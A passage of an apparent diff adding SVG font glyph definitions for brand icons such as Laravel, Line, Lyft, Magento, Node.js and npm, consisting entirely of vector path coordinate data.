39 -16.8008 55.7998 0c14.5996 15.0996 14.7998 36.7998 4 50.3994l-49.0996 62.7998l40.5 58.7002c9.39941 13.5 9.5 34.5 -5.60059 49.1006 +c-16.3994 15.8994 -44.5996 17.2998 -61.3994 -7l-44.8008 -64.7002v38.7998z" /> + <glyph glyph-name="kickstarter-k" unicode="" horiz-adv-x="384" +d="M147.3 333.6v-70.5996l82.7998 118.2c31.2002 44.3994 83.3008 41.7998 113.601 12.7998c27.8994 -26.7002 27.7998 -65.0996 10.3994 -89.7998l-74.8994 -107.4l90.7998 -114.8c19.9004 -24.7998 19.5996 -64.5996 -7.40039 -92.2002 +c-31.0996 -30.7002 -80.5 -27.2002 -103.199 0l-112.101 138.3v-76.5c0 -57.7998 -32.5996 -83.3994 -72.3994 -83.3994c-49.6006 0 -74.9004 36.0996 -74.9004 83.3994v283c0 45.2002 26.2002 81.4004 73.9004 81.4004c40.8994 0 73.3994 -26.2002 73.3994 -82.4004z" /> + <glyph glyph-name="laravel" unicode="" horiz-adv-x="512" +d="M504.4 332.17c0.15625 -0.650391 0.240234 -1.32324 0.240234 -2.02051c0 -0.0234375 0 -0.046875 -0.000976562 -0.0693359v-109.85c0.000976562 -0.0244141 0.00878906 -0.0429688 0.00878906 -0.0673828c0 -2.96191 -1.61328 -5.5498 -4.00879 -6.93262 +l-92.2393 -53.1104v-105.26c0 -0.0078125 0.0078125 -0.00976562 0.0078125 -0.0166016c0 -2.96289 -1.61328 -5.55078 -4.00781 -6.93359l-192.561 -110.84c-0.442383 -0.231445 -0.916016 -0.428711 -1.39941 -0.580078 +c-0.180664 -0.0605469 -0.350586 -0.169922 -0.550781 -0.220703c-0.654297 -0.174805 -1.33789 -0.268555 -2.04688 -0.268555c-0.709961 0 -1.39844 0.09375 -2.05273 0.268555c-0.219727 0.0605469 -0.419922 0.180664 -0.629883 0.260742 +c-0.458008 0.143555 -0.908203 0.327148 -1.33008 0.540039l-192.5 110.84c-2.39551 1.38281 -4 3.96582 -4 6.92773v0.0224609v329.699c0.00195312 0.727539 0.0996094 1.42969 0.280273 2.10059c0.0839844 0.228516 0.181641 0.454102 0.290039 0.669922 +c0.133789 0.427734 0.307617 0.84668 0.509766 1.24023c0.149414 0.259766 0.370117 0.469727 0.549805 0.719727c0.21582 0.329102 0.450195 0.636719 0.709961 0.929688c0.250977 0.217773 0.512695 0.416016 0.790039 0.600586 +c0.274414 0.254883 0.56543 0.483398 0.879883 0.689453v0l96.2705 55.4199c1.1748 0.678711 2.55469 1.06738 4.00781 1.06738s2.81641 -0.388672 3.99219 -1.06738l96.29 -55.4199v0c0.307617 -0.210938 0.598633 -0.435547 0.879883 -0.679688 +c0.271484 -0.1875 0.529297 -0.385742 0.779297 -0.599609c0.260742 -0.298828 0.499023 -0.610352 0.720703 -0.94043c0.169922 -0.25 0.399414 -0.459961 0.540039 -0.719727c0.203125 -0.393555 0.379883 -0.813477 0.519531 -1.24023 +c0.0800781 -0.230469 0.219727 -0.44043 0.280273 -0.679688c0.181641 -0.661133 0.280273 -1.35352 0.280273 -2.07129v-0.0195312v-205.93l80.2197 46.1904v105.239c0.00292969 0.720703 0.100586 1.41602 0.280273 2.08008 +c0.0693359 0.240234 0.199219 0.450195 0.279297 0.680664c0.144531 0.427734 0.320312 0.850586 0.520508 1.25c0.149414 0.259766 0.370117 0.469727 0.540039 0.709961c0.21875 0.329102 0.457031 0.636719 0.719727 0.929688 +c0.248047 0.216797 0.505859 0.416016 0.780273 0.599609c0.277344 0.250977 0.568359 0.479492 0.879883 0.69043v0l96.2803 55.4502c1.1748 0.677734 2.55469 1.06641 4.00781 1.06641s2.81641 -0.388672 3.99219 -1.06641l96.2598 -55.4199 +c0.316406 -0.208984 0.613281 -0.433594 0.899414 -0.680664c0.25 -0.199219 0.540039 -0.379883 0.770508 -0.599609c0.260742 -0.298828 0.499023 -0.609375 0.719727 -0.94043c0.198242 -0.223633 0.376953 -0.458008 0.540039 -0.709961 +c0.207031 -0.396484 0.386719 -0.819336 0.530273 -1.25c0.106445 -0.217773 0.201172 -0.447266 0.280273 -0.679688zM111.6 430.72l-80.1895 -46.1602l80.1797 -46.1699l80.2002 46.1807l-80.1904 46.1494v0zM199.85 370.72l-33.6895 -19.4297l-46.5303 -26.79v-201.29 +l33.6904 19.4004l46.5293 26.79v201.319zM199.85 -42.0596l-0.109375 92.3594l-92.1904 52.1807v0v0c-0.301758 0.203125 -0.585938 0.421875 -0.859375 0.65918c-0.25 0.200195 -0.540039 0.360352 -0.770508 0.580078v0 +c-0.240234 0.265625 -0.458008 0.542969 -0.660156 0.839844c-0.21582 0.25 -0.414062 0.507812 -0.599609 0.780273v0c-0.166016 0.316406 -0.308594 0.655273 -0.419922 1c-0.149414 0.285156 -0.27832 0.589844 -0.379883 0.900391v0 +c-0.0820312 0.383789 -0.135742 0.77832 -0.160156 1.17969c-0.0595703 0.293945 -0.0996094 0.594727 -0.120117 0.900391v215.18l-46.5205 26.7998l-33.6895 19.3799v-311.18zM207.85 64.1104l117.62 67.1494l58.7998 33.5605l-80.1299 46.1299l-92.2598 -53.1104 +l-84.0898 -48.4102zM392.37 59.54v91.4102l-45.7705 -26.1504l-130.72 -74.5996v-92.3105zM392.37 178.67v91.3301l-46.5303 26.8096l-33.6895 19.4004v-91.4199l46.5293 -26.79zM400.37 283.95l80.1797 46.1797l-80.1797 46.1504l-80.2002 -46.1602zM408.37 178.67 +l80.3096 46.1504v0v91.3896l-33.6797 -19.4004l-46.6299 -26.8096v-91.3301z" /> + <glyph glyph-name="line" unicode="" +d="M272.1 243.8v-71.0996c0 -1.7998 -1.39941 -3.2002 -3.19922 -3.2002h-11.4004c-1.09961 0 -2.09961 0.599609 -2.59961 1.2998l-32.6006 44v-42.2002c0 -1.7998 -1.39941 -3.19922 -3.2002 -3.19922h-11.3994c-1.7998 0 -3.2002 1.39941 -3.2002 3.19922v71.1006 +c0 1.7998 1.40039 3.2002 3.2002 3.2002h11.2998c1 0 2.09961 -0.5 2.59961 -1.40039l32.6006 -44v42.2002c0 1.7998 1.39941 3.2002 3.2002 3.2002h11.3994c1.7998 0.0996094 3.2998 -1.40039 3.2998 -3.10059zM190.1 247c1.80078 0 3.2002 -1.5 3.2002 -3.2002v-71.0996 +c0 -1.7998 -1.39941 -3.2002 -3.2002 -3.2002h-11.3994c-1.7998 0 -3.2002 1.40039 -3.2002 3.2002v71.0996c0 1.7998 1.40039 3.2002 3.2002 3.2002h11.3994zM162.6 187.4c1.7002 0 3.10059 -1.5 3.10059 -3.2002v-11.4004c0 -1.7998 -1.40039 -3.2002 -3.2002 -3.2002 +h-45.7002c-0.899414 0 -1.59961 0.400391 -2.2002 0.900391c-0.599609 0.599609 -0.899414 1.2998 -0.899414 2.2002v71.0996c0 1.7998 1.39941 3.2002 3.2002 3.2002h11.3994c1.7998 0 3.2002 -1.40039 3.2002 -3.2002v-56.3994h31.0996zM332.1 247 +c1.7002 0 3.10059 -1.5 3.2002 -3.2002v-11.3994c0 -1.80078 -1.39941 -3.2002 -3.2002 -3.2002h-31.0996v-12h31.0996c1.80078 0 3.2002 -1.40039 3.2002 -3.2002v-11.5c0 -1.7998 -1.39941 -3.2002 -3.2002 -3.2002h-31.0996v-12h31.0996 +c1.80078 0 3.2002 -1.39941 3.2002 -3.2002v-11.3994c0 -1.7998 -1.39941 -3.2002 -3.2002 -3.2002h-45.6992c-1.80078 0 -3.2002 1.5 -3.2002 3.2002v71.0996c0 1.7998 1.5 3.2002 3.2002 3.2002h45.6992zM448 334.3v-285.3 +c-0.0996094 -44.7998 -36.7998 -81.0996 -81.7002 -81h-285.3c-44.7998 0.0996094 -81.0996 36.9004 -81 81.7002v285.3c0.0996094 44.7998 36.9004 81.0996 81.7002 81h285.3c44.7998 -0.0996094 81.0996 -36.7998 81 -81.7002zM386.4 211.7 +c0 73 -73.2002 132.399 -163.101 132.399c-89.8994 0 -163.1 -59.3994 -163.1 -132.399c0 -65.4004 58 -120.2 136.399 -130.601c19.1006 -4.09961 16.9004 -11.0996 12.6006 -36.7998c-0.700195 -4.09961 -3.2998 -16.0996 14.0996 -8.7998 +c17.4004 7.2998 93.9004 55.2998 128.2 94.7002c23.5996 26 34.9004 52.2998 34.9004 81.5z" /> + <glyph glyph-name="lyft" unicode="" horiz-adv-x="512" +d="M0 366.9h77.7998v-208.7c0 -33.1006 15 -52.7998 27.2002 -61c-12.7002 -11.1006 -51.2002 -20.9004 -80.2002 2.7998c-17 14 -24.7998 37.2998 -24.7998 59v207.9zM485.9 193.4c0 -14.2002 11.5996 -25.9004 26.0996 -25.9004v-76.5 +c-56.7002 0 -102.7 46.0996 -102.7 102.7v77.0996c0 34.6006 -52.2002 34.6006 -52.2002 0v-23.2998h38.8008v-76.7998h-38.8008v-6.7002c0 -21.7998 -7.69922 -45 -24.7998 -59c-16.2998 -13.7002 -35.7002 -16.2998 -51.7002 -14v179.2 +c0 56.7002 46.1006 102.7 102.7 102.7c49.1006 0 90.2002 -34.4004 100.3 -80.7002h26.1006v-76.7998h-23.7998v-22zM191.6 292.4v0.5h77.1006v-178.2c0 -52.4004 -29.7002 -91.7002 -76.7998 -100.8c-26.1006 -5.10059 -52.5 -2.80078 -77.6006 4.69922v70.3008 +c9.7998 -4.2002 29.5 -9.40039 45 -7.80078c20.4004 2 32.7998 11.9004 34.9004 25.3008c0 0 -21.2002 -20.4004 -58.2002 -10.6006c-37 9.90039 -45 40.1006 -45 63.9004v132.7h76.7998v-113c0 -15.4004 23.7998 -15.4004 23.7998 0v113z" /> + <glyph glyph-name="magento" unicode="" +d="M445.7 320.1v-256.1l-63.4004 -36.5v255.8l-158.5 91.6006l-158.6 -91.6006l0.399414 -255.899l-63.2998 36.5996v255.9l221.9 128.1zM255.6 27.5v255.9l63.4004 -36.6006v-256l-95.0996 -54.8994l-94.9004 54.8994l-0.0996094 255.9l63.2998 36.5996v-256 +l31.7998 -18.2002z" /> + <glyph glyph-name="medapps" unicode="" horiz-adv-x="320" +d="M118.3 209.6c3.5 12.5 6.90039 33.6006 13.2002 33.6006c8.2998 -1.7998 9.59961 -23.4004 18.5996 -36.6006c4.60059 23.5 5.30078 85.1006 14.1006 86.7002c9 0.700195 19.7002 -66.5 22 -77.5c9.89941 -4.09961 48.8994 -6.59961 48.8994 -6.59961 +c1.90039 -7.2998 -24 -7.60059 -40 -7.7998c-4.59961 -14.8008 -5.39941 -27.7002 -11.3994 -28c-4.7002 -0.200195 -8.2002 28.7998 -17.5 49.5996l-9.40039 -65.5c-4.39941 -13 -15.5 22.5 -21.8994 39.2998c-3.30078 0.100586 -62.4004 1.60059 -47.6006 7.7998zM228 0 +h-136c-21.2002 0 -21.2002 32 0 32h136c21.2002 0 21.2002 -32 0 -32zM204 -64h-88c-21.2002 0 -21.2002 32 0 32h88c21.2002 0 21.2002 -32 0 -32zM238.2 77.5c-3.60059 -21.2998 -36 -15.5 -32.6006 5.09961c3.60059 21.2002 5.60059 40.6006 15.3008 58.6006 +c32.5996 60.2998 66.0996 95.5 66.0996 151.6c0 67.9004 -57 123.2 -127 123.2s-127 -55.2998 -127 -123.2c0 -56.0996 33.5 -91.2998 66.0996 -151.7c9.7002 -17.8994 11.7002 -36.8994 15.3008 -58.5996c3.5 -20.7998 -29.1006 -26.0996 -32.6006 -5.09961 +c-3.2002 19.0996 -5.2002 36.3994 -11.8994 48.8994c-8 14.7002 -16.1006 28.1006 -24 41c-24.6006 40.4004 -45.9004 75.2998 -45.9004 125.5c0 85.6006 71.7998 155.2 160 155.2s160 -69.5996 160 -155.2c0 -50.2998 -21.2998 -85.0996 -45.9004 -125.5 +c-7.89941 -12.8994 -16.0996 -26.2998 -24 -41c-6.69922 -12.3994 -8.69922 -29.8994 -11.8994 -48.7998z" /> + <glyph glyph-name="medium-m" unicode="" horiz-adv-x="512" +d="M71.5 305.7c0.599609 5.89941 -1.7002 11.7998 -6.09961 15.7998l-45.1006 54.4004v8.09961h140.2l108.4 -237.7l95.2998 237.7h133.7v-8.09961l-38.6006 -37c-3.2998 -2.5 -5 -6.7002 -4.2998 -10.8008v-272c-0.700195 -4.09961 1 -8.2998 4.2998 -10.7998l37.7002 -37 +v-8.09961h-189.7v8.09961l39.1006 37.9004c3.7998 3.7998 3.7998 5 3.7998 10.7998v219.8l-108.7 -275.899h-14.7002l-126.399 275.899v-184.899c-1.10059 -7.80078 1.5 -15.6006 7 -21.2002l50.7998 -61.6006v-8.09961h-144v8l50.7998 61.7002 +c5.40039 5.59961 7.90039 13.5 6.5 21.2002v213.8z" /> + <glyph glyph-name="medrt" unicode="" horiz-adv-x="544" +d="M113.7 192c0 -121.8 83.8994 -222.8 193.5 -241.1c-18.7002 -4.5 -38.2002 -6.90039 -58.2002 -6.90039c-137.6 0 -249 111 -249 248s111.4 248 248.9 248c20.0996 0 39.5996 -2.40039 58.1992 -6.90039c-109.6 -18.2998 -193.399 -119.3 -193.399 -241.1zM411.1 91.7002 +c77.7002 55.3994 104.4 155.1 67 233.899c11.2002 -9.89941 21.5 -21.2998 30.5 -34.1992c61.6006 -88.3008 40.8008 -210.301 -46.5 -272.601c-87.2998 -62.2998 -208.1 -41.2002 -269.699 47c-9 12.7998 -16.2002 26.4004 -21.7002 40.5 +c60.7998 -62.0996 162.7 -70 240.399 -14.5996zM192.3 335.7c72.5 54.5996 171.601 45.7002 221.601 -19.7998c45.2998 -59.7002 34.3994 -145.601 -22.3008 -201.801c18.5 51.4004 11.3008 111 -24.3994 158c-43 56.5 -114.601 78.3008 -178.9 60.5 +c1.2998 1 2.60059 2.10059 4 3.10059zM296 224h40c4.40039 0 8 -3.59961 8 -8v-48c0 -4.40039 -3.59961 -8 -8 -8h-40c-4.40039 0 -8 -3.59961 -8 -8v-40c0 -4.40039 -3.59961 -8 -8 -8h-48c-4.40039 0 -8 3.59961 -8 8v40c0 4.40039 -3.59961 8 -8 8h-40 +c-4.40039 0 -8 3.59961 -8 8v48c0 4.40039 3.59961 8 8 8h40c4.40039 0 8 3.59961 8 8v40c0 4.40039 3.59961 8 8 8h48c4.40039 0 8 -3.59961 8 -8v-40c0 -4.40039 3.59961 -8 8 -8z" /> + <glyph glyph-name="microsoft" unicode="" +d="M0 416h214.6v-214.6h-214.6v214.6zM233.4 416h214.6v-214.6h-214.6v214.6zM0 182.6h214.6v-214.6h-214.6v214.6zM233.4 182.6h214.6v-214.6h-214.6v214.6z" /> + <glyph glyph-name="mix" unicode="" +d="M0 384h448v-204.1c0 -56.6006 -88 -59.9004 -88 0v23.7998c0 56.7998 -82.7002 59 -88 4.2998v-116.1c0 -58 -96 -57.9004 -96 0v175.3c0 56.8994 -80.0996 59.3994 -88 6.5v-238.601c0 -58.0996 -88 -56.1992 -88 0v348.9z" /> + <glyph glyph-name="mizuni" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111.1 248 -248c0 -137 -111 -248 -248 -248s-248 111 -248 248c0 136.9 111 248 248 248zM168 88.0996v223.9c0 22.0996 -17.9004 40 -40 40s-40 -17.9004 -40 -40v-272.1c21.2002 20.8994 48.5996 37.5996 80 48.1992zM288 98v214 +c0 22.0996 -17.9004 40 -40 40s-40 -17.9004 -40 -40v-214c13 2 26.4004 3.09961 40.2002 3.09961c13.5996 0 26.8994 -1.09961 39.7998 -3.09961zM408 40.2998v271.7c0 22.0996 -17.9004 40 -40 40s-40 -17.9004 -40 -40v-223.7c31.4004 -10.5996 58.7998 -27.2002 80 -48z +" /> + <glyph glyph-name="monero" unicode="" horiz-adv-x="496" +d="M352 64h108.4c-43.4004 -71.9004 -122.301 -120 -212.4 -120s-169 48.0996 -212.4 120h108.4v127.8l104 -104.8l104 105v-128zM88 112h-74.7998c-8.60059 25.0996 -13.2002 52 -13.2002 80c0 137 111 248 248 248s248 -111 248 -248c0 -28 -4.7002 -54.9004 -13.2002 -80 +h-74.7998v208l-160.6 -159.4l-159.4 159.4v-208z" /> + <glyph glyph-name="napster" unicode="" horiz-adv-x="496" +d="M298.3 74.4004c-14.2002 -13.6006 -31.2998 -24.1006 -50.3994 -30.5c-19 6.39941 -36.2002 16.8994 -50.3008 30.5h100.7zM342.3 274c-56.3994 39.7998 -132.1 39.9004 -188.899 -0.0996094c-19.9004 16.7998 -43.6006 29.5 -69.5 36.3994v-161.6 +c0 -217.3 328 -219.101 328 0.299805v161.2c-26 -7 -49.6006 -19.2998 -69.6006 -36.2002zM133.5 332.5c6.5 -3.2002 14.0996 -7.40039 20.4004 -11.4004c58.6992 30.5 129.199 30.6006 187.899 0.100586c6.7002 4.2002 13.5 8 20.6006 11.5 +c-64.6006 59.8994 -164.5 59.7998 -228.9 -0.200195zM43.7998 354.8c17.5 -0.5 34.2998 -3.09961 50.6006 -7.5c82 91.6006 225.5 91.6006 307.5 0.100586c16.0996 4.39941 32.7998 6.89941 50.0996 7.39941v-69.2002c58.7002 -36.5 58.5 -121.899 -0.200195 -158.199 +l-0.299805 -1.7002c-25.9004 -238.8 -381.2 -243.601 -407.6 1.5c-58.5 37.2002 -58.5 121.8 -0.100586 158.3v69.2998zM259.2 96c13.0996 59.2998 33.5 56 113 55.4004c-0.799805 -8.2002 0.0996094 -32.3008 -26.2002 -47.4004c-4.40039 -2.5 -15.2998 -6 -25.5 -6.5 +c-25.2998 -1.2002 -61.2998 -1.5 -61.2998 -1.5zM123.7 151.3c79.2998 0.700195 99.7998 4 113 -55.3994c0 0 -36 0.399414 -61.2998 1.5c-10.3008 0.5 -21.1006 4 -25.5 6.5c-26.3008 15.0996 -25.4004 39.1992 -26.2002 47.3994zM292.8 27.9004 +c3 -4.90039 3.2002 -8.80078 3.2998 -8.90039c-29.0996 -17.5996 -67.0996 -17.5996 -96.1992 0c0 0 0.899414 5.5 3.69922 9.59961c3.5 5.10059 6.40039 6.60059 6.40039 6.60059c23.7002 -6.90039 51.0996 -7.2998 75.9004 0c0 0 3.69922 -2 6.89941 -7.2998z" /> + <glyph glyph-name="node-js" unicode="" +d="M224 -60c-6.7002 0 -13.5 1.7998 -19.4004 5.2002l-61.6992 36.5c-9.2002 5.2002 -4.7002 7 -1.7002 8c12.2998 4.2998 14.7998 5.2002 27.8994 12.7002c1.40039 0.799805 3.2002 0.5 4.60059 -0.400391l47.3994 -28.0996c1.7002 -1 4.10059 -1 5.7002 0l184.7 106.6 +c1.7002 1 2.7998 3 2.7998 5v213.2c0 2.09961 -1.09961 4 -2.89941 5.09961l-184.601 106.5c-1.7002 1 -4 1 -5.7002 0l-184.5 -106.6c-1.7998 -1 -2.89941 -3 -2.89941 -5.10059v-213.1c0 -2 1.09961 -4 2.89941 -4.90039l50.6006 -29.1992 +c27.5 -13.7002 44.2998 2.39941 44.2998 18.6992v210.4c0 3 2.40039 5.2998 5.40039 5.2998h23.3994c2.90039 0 5.40039 -2.2998 5.40039 -5.2998v-210.5c0 -36.5996 -20 -57.5996 -54.7002 -57.5996c-10.7002 0 -19.0996 0 -42.5 11.5996l-48.4004 27.9004 +c-12 6.89941 -19.3994 19.7998 -19.3994 33.6992v213.101c0 13.7998 7.39941 26.7998 19.3994 33.7002l184.5 106.6c11.7002 6.59961 27.2002 6.59961 38.8008 0l184.699 -106.7c12 -6.89941 19.4004 -19.7998 19.4004 -33.7002v-213.1 +c0 -13.7998 -7.40039 -26.7002 -19.4004 -33.7002l-184.699 -106.6c-5.90039 -3.40039 -12.6006 -5.2002 -19.4004 -5.2002zM373.1 150.1c0 -40.1992 -33.5996 -63.2998 -92 -63.3994c-80.8994 0 -97.7998 37.0996 -97.7998 68.2002c0 2.89941 2.2998 5.2998 5.2998 5.2998 +h23.9004c2.7002 0 4.90039 -1.90039 5.2998 -4.5c3.60059 -24.2998 14.2998 -36.6006 63.2002 -36.6006c38.9004 0 55.5 8.80078 55.5 29.4004c0 11.9004 -4.7002 20.7998 -65.2002 26.7002c-50.5 5 -81.7998 16.2002 -81.7998 56.5996c0 37.2998 31.4004 59.5 84.0996 59.5 +c59.2002 0 88.5 -20.5 92.2002 -64.5996c0.100586 -1.5 -0.399414 -3 -1.39941 -4.10059c-1 -1.09961 -2.40039 -1.69922 -3.90039 -1.69922h-24c-2.5 0 -4.7002 1.7998 -5.2002 4.19922c-5.7998 25.6006 -19.7998 33.8008 -57.7002 33.8008 +c-42.5 0 -47.3994 -14.8008 -47.3994 -25.9004c0 -13.4004 5.7998 -17.2998 63.2002 -24.9004c56.6992 -7.5 83.6992 -18.0996 83.6992 -58z" /> + <glyph glyph-name="npm" unicode="" horiz-adv-x="576" +d="M288 160h-32v64h32v-64zM576 288v-192h-288v-32h-128v32h-160v192h576zM160 256h-128v-128h64v96h32v-96h32v128zM320 256h-128v-160h64v32h64v128zM544 256h-192v-128h64v96h32v-96h32v96h32v-96h32v128z" /> + <glyph glyph-name="ns8" unicode="" horiz-adv-x="640" +d="M104.324 178.828v26.1777h26.0664v-26.1777h-26.0664zM156.79 205.006h-26.3428v26.1777c-0.124023 7.05762 -5.8916 12.748 -12.9785 12.748c-7.08594 0 -12.8535 -5.69043 -12.9775 -12.748v-0.166016h-26.4004v0.166016 +c-0.000976562 0.119141 -0.000976562 0.220703 -0.000976562 0.339844c0 21.7041 17.6211 39.3242 39.3242 39.3242c21.5039 0 38.999 -17.2959 39.3213 -38.7227v-0.941406zM209.146 179.16v26.0117h26.3438v-26.0117 +c0 -0.0371094 -0.000976562 -0.0722656 -0.000976562 -0.109375c0 -64.7373 -52.5439 -117.3 -117.274 -117.331h-0.774414c-0.0380859 0 -0.0732422 0.000976562 -0.110352 0.000976562c-64.7373 0 -117.299 52.543 -117.33 117.273v0.166016h26.3369 +c0 -50.2793 40.8203 -91.1006 91.0996 -91.1006h0.609375c50.2793 0 91.1006 40.8213 91.1006 91.1006zM51.9131 179.16v25.96h-26.291v25.3994c0 50.6445 41.1162 91.7617 91.7607 91.7617s91.7607 -41.1172 91.7607 -91.7617v-25.293h-26.3438v25.293v0.200195 +c0 36.1055 -29.3135 65.4199 -65.4199 65.4199c-35.7656 0 -64.8672 -28.7646 -65.4121 -64.4023v-26.6201h26.2891v-25.957c0.356445 -21.2305 17.7031 -38.3564 39.0176 -38.3564s38.6611 17.126 39.0176 38.3564h26.3438 +c-0.140625 -35.9551 -29.374 -65.1016 -65.3613 -65.1016s-65.2207 29.1465 -65.3613 65.1016zM470.313 250.333c-11.3467 0 -20.8633 -4.75977 -24.2402 -12.1172v-8.41211c2.21875 -4.53809 6.30859 -7.69238 12.6191 -9.62988 +c4.75879 -1.37891 9.76562 -2.3623 14.832 -2.87793c6.36426 -0.827148 13.0068 -1.71484 20.6992 -4.42676c13.7256 -4.59375 24.0742 -13.2275 28.9443 -24.2412l0.166016 -0.664062l-0.166016 -25.8994c-7.69238 -17.0479 -28.668 -28.4473 -52.2998 -28.4473 +c-25.6797 0 -47.374 12.6182 -55.2891 32.0439l-0.552734 1.43848l23.0205 11.5078l0.719727 -1.49414c5.97754 -12.1211 17.5996 -19.0391 31.9336 -19.0391c12.0098 0 22.083 4.81445 25.791 12.3418v9.85059c-2.37988 4.59473 -6.47656 7.75098 -12.8398 9.85156 +c-5.20312 1.71582 -10.3506 2.37988 -15.8291 3.09961c-6.78809 0.675781 -13.4814 2.04199 -19.8135 3.98438c-14.1123 4.87109 -23.9678 13.2275 -28.668 24.2412c-0.158203 0.949219 -0.123047 -2.02637 0 24.8496c7.36133 17.0469 27.8379 28.4473 50.9727 28.4473 +c24.9062 0 45.3818 -12.0098 53.4062 -31.2705l0.609375 -1.43848l-23.2451 -11.5117l-0.71875 1.5498c-5.47949 11.6221 -16.3818 18.2637 -30.0518 18.2637zM287.568 136.656v68.3994h26.0664v-68.3994h-26.0664zM639.834 189.956l0.166016 -0.722656l-0.166016 -28.8906 +c-7.52734 -15.9941 -27.8916 -26.7305 -50.584 -26.7305s-43.0029 10.7363 -50.585 26.7305l-0.166016 0.720703l0.166016 28.8887c2.93262 6.25391 8.24121 12.0137 15.4414 16.7139c-5.57422 3.90332 -10.0391 9.14453 -13.0068 15.3311l-0.166016 0.664062 +l0.166016 25.3467c7.36133 15.9922 26.7334 26.7324 48.1504 26.7324s40.7881 -10.7402 48.1504 -26.7295l0.166016 -0.664062l-0.166016 -25.3467c-2.90137 -6.22852 -7.38379 -11.4873 -13.0078 -15.3301c7.1416 -4.7041 12.5088 -10.46 15.4414 -16.7139z +M566.614 240.762v-13.7246c3.48535 -6.19922 12.5068 -10.3486 22.5801 -10.3486c10.0723 0 19.0938 4.14844 22.6357 10.3486v13.7246c-3.59766 6.31055 -12.6191 10.5166 -22.6357 10.5166c-10.0176 0 -18.9805 -4.20605 -22.5801 -10.5166zM613.933 168.593v16.1572 +c-3.76367 6.36523 -13.3379 10.5146 -24.6826 10.5146c-11.1836 0 -20.9756 -4.20605 -24.6836 -10.5146v-16.1572c3.70801 -6.52734 13.5586 -10.8994 24.6836 -10.8994c11.3447 0 20.9189 4.25879 24.6826 10.8994zM376.4 182.038v89.7129h25.8994v-135.095h-25.6777 +l-62.5391 94.085v0.386719h-26.5098v40.623h29z" /> + <glyph glyph-name="nutritionix" unicode="" horiz-adv-x="400" +d="M88 439.9c0 0 133.4 8.19922 121 -104.4c0 0 19.0996 74.9004 103 40.5996c0 0 -17.7002 -74 -88 -56c0 0 14.5996 54.6006 66.0996 56.6006c0 0 -39.8994 10.2998 -82.0996 -48.7998c0 0 -19.7998 94.5 -93.5996 99.6992c0 0 75.1992 -19.3994 77.5996 -107.5 +c0 -0.0996094 -106.4 -7 -104 119.801zM400 124.3c0 -48.5 -9.7002 -95.2998 -32 -132.3c-42.2002 -30.9004 -105 -48 -168 -48c-62.9004 0 -125.8 17.0996 -168 48c-22.2998 37 -32 83.7998 -32 132.3c0 48.4004 17.7002 94.7002 40 131.7 +c42.2002 30.9004 97.0996 48.5996 160 48.5996c63 0 117.8 -17.5996 160 -48.5996c22.2998 -37 40 -83.2998 40 -131.7zM120 20c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM120 86.2002c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28 +s12.5 -28 28 -28s28 12.5 28 28zM120 152.4c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM192 20c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM192 86.2002c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28 +s12.5 -28 28 -28s28 12.5 28 28zM192 152.4c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM264 20c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM264 86.2002c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28 +s12.5 -28 28 -28s28 12.5 28 28zM264 152.4c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM336 20c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM336 86.2002c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28 +s12.5 -28 28 -28s28 12.5 28 28zM336 152.4c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM360 192c-4.7998 22.2998 -7.40039 36.9004 -16 56c-38.7998 19.9004 -90.5 32 -144 32s-105.2 -12.0996 -144 -32 +c-8.7998 -19.5 -11.2002 -33.9004 -16 -56c42.2002 7.90039 98.7002 14.7998 160 14.7998s117.8 -6.89941 160 -14.7998z" /> + <glyph glyph-name="page4" unicode="" horiz-adv-x="496" +d="M248 -56c-137 0 -248 111 -248 248s111 248 248 248c20.9004 0 41.2998 -2.59961 60.7002 -7.5l-266.4 -376.5h205.7v-112zM248 87.5996h-149.4l149.4 213.601v-213.601zM344 56h111.4c-26.9004 -41 -65.7002 -73.5 -111.4 -92.7002v92.7002zM401.4 194.2v-16.7002 +l-21.2002 8.2998zM381.1 139.7c5.90039 0 8.2002 -4.7002 8.2002 -10.6006v-10h-16.2002v7.7002c0 6.60059 1.30078 12.9004 8 12.9004zM496 192c0 -37.2998 -8.2002 -72.7002 -23 -104.4h-129v333.101c89.2998 -37.5 152 -125.8 152 -228.7zM360.4 304.4h68.1992v47.5996 +h-13.8994v-32.5996h-13.9004v29.5996h-13.8994v-29.5996h-12.7002v32.5996h-13.9004v-47.5996h0.100586zM428.5 119.1h-26.5v11c0 15.4004 -5.59961 25.2002 -20.9004 25.2002c-15.3994 0 -20.6992 -10.5996 -20.6992 -25.8994v-25.3008h68.1992v15h-0.0996094zM428.5 222.1 +l-68.2002 -29.6992v-12.4004l68.2002 -29.5v16.5996l-14.4004 5.7002v26.5l14.4004 5.90039v16.8994zM423.7 290.6h-35.6006v-26.5996h13.9004v12.2002h11c8.59961 -15.7998 1.2998 -35.2998 -18.5996 -35.2998c-22.5 0 -28.3008 25.2998 -15.5 37.6992l-11.6006 10.6006 +c-16.2002 -17.5 -12.2002 -63.9004 27.1006 -63.9004c34 0 44.6992 35.9004 29.2998 65.2998z" /> + <glyph glyph-name="palfed" unicode="" horiz-adv-x="576" +d="M384.9 254.1c0.0996094 -53.3994 -46.5 -96.1992 -83.3008 -96.1992c-12.5 0 -14.3994 3.39941 -15.0996 6.19922c0.5 39.1006 1.7002 80.4004 3 119.801c40.2002 14.3994 95.4004 17.5996 95.4004 -29.8008zM190.4 181.9 +c-0.200195 0.599609 -0.400391 2.09961 -0.600586 4.59961c0 25.5996 37 60.9004 58.5 75.9004c-1.2002 -36.4004 -5.5 -198.101 -1.39941 -242.5c3 -32.3008 26.7998 -32.9004 